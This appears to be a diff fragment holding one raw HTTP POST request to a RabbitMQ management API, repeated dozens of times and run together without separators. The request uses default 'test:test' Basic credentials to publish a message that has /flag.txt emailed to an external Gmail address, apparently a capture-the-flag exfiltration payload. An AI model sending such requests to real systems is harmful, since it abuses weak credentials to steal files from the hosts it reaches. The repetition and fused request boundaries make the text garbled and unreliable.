+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
